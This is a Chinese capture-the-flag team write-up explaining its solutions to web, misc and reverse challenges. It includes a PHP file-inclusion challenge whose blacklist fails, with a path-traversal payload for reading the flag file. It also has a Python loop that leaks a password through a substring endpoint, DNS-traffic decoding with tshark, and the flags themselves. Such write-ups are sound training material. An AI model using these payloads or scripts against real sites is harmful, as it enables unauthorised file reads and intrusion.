Geek精神战队 WriteUp(撰写完成后导出为pdf文件提交至平台)
微信公众号:Geek_Team
这次的CTF题目还是有点难度的,也没有拿到特别好的成绩(最后半小时被冲烂了),此WP仅供学习参考,大佬勿喷。
排名
战队名称:第27名
解题思路
WEB
EzRCE
<?php
error_reporting(0); / 不报错回显
highlight_file(__FILE__); / 高亮本文件内容
if (!empty($_GET['PK'])){ / 如果GET请求中有PK参数则执行以下代码
$PK = $_GET['PK']; / 将GET请求中PK参数赋值于变量PK
/ 对blacklistFilter函数返回值进行判断
if(blacklistFilter($_SERVER["QUERY_STRING"])){ / $_SERVER["QUERY_STRING"]获取
url?后面的参数
include $PK; / 文件包含变量PK的的参数
}else{
highlight_file(__FILE__);
}
}
/ 设置黑名单
function blacklistFilter($arg) {
$blacklist = array('[', ']', ';', '?', '@', '(', ')', 'exec', 'eval', '$',
'phpinfo', 'flag', 'data', 'filter', '#');
$filteredInput = str_replace($blacklist, '', $arg);
return $filteredInput;
}
?>
通过代码审计得知,本题为文件包含漏洞,不过本题的黑名单似乎起不到作用依然可以使用黑名单中的字符串
**Payload:**http: //69780cc4.clsadp.com/?PK=. /. /. /. /. /. /. /. /flag
Mua
目录扫描发现robots.txt文件,访问/substr_pass.php,ctrl+u看源码得到hint:?a=xx&b=xx
构造payload:?a=1&b=1,发现是存在内容的
构造payload:?a=0&b=3、/substr_pass.php?a=0&b=3
发现回显pas感觉快出来了,通过使用脚本来进行循环请求
import requests
for i in range(0,100):
url = f'http://eacf8c61.clsadp.com/substr_pass.php?a={i}&b=3'
txt = requests.get(url).text
print(txt)
if 'hacker' not in txt:
print(txt[0])
脚本得到pass:password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善
直接去拼接URL得到flag
MICS
云缨
拿到题目,云缨,考虑到了谐音,且题目要求答案进行md5加密作为flag,说明答案是比较简单的,优先考虑云影解密
8881088410842088810810842042108108821041010882108881
直接解出YUNYINGISEASY
MD5加密后即为flag{9edabf1448871181eb0e7133b5b3d701}
hack_dns
首先给了压缩包,也不是伪加密,尝试暴力破解,直接上最简单的1-6位纯数字,直接爆出来密码
解压之后直接分析压缩包,根据题目提示dns,直接过滤dns流量,发现解析的域名的三级域名很可疑,使用tshark导出
tshark -r flag.pcap -T fields -e dns.qry.name dns.flags.response==0 > output.txt
去重后得到字符串:640a0a780a0a680a0a790a0a7b0a0a366a0a0a0a0a650a300a0a630a0a6d0a0a310a0a6c0a0a360a0a780a0a380a0a390a0a370a0a300a0a330a0a330a0a690a0a670a0a300a0a610a0a310a0a720a0a680a0a340a0a300a0a390a0a310a0a350a0a760a0a360a0a350a0a390a0a7d0a0a
十六进制转字符串得到:
dxhy{6je0cm1l6x897033ig0a1rh40915v659}
先考虑维吉尼亚看看,附件还给了图片,盲猜key是图片隐写,上steghide 默认密码解出key,进行维吉尼亚解密得到flag
REVERSE
ezpython
使用pyinstxtractor进行反编译,得到pyc文件,补充缺失的Python 3.8 的 Magic Number 文件头后使用在线工具对main.pyc进行反编译得到源码 发现ctr1 += chr(ord(flag[i]) ^ 5)是个异或,使用工具进行异或即可解出flag
奖状到啦!!奖状到啦!!奖状到啦!!奖状到啦!!奖状到啦!!奖状到啦!!奖状到啦!!奖状到啦!!奖状到啦!!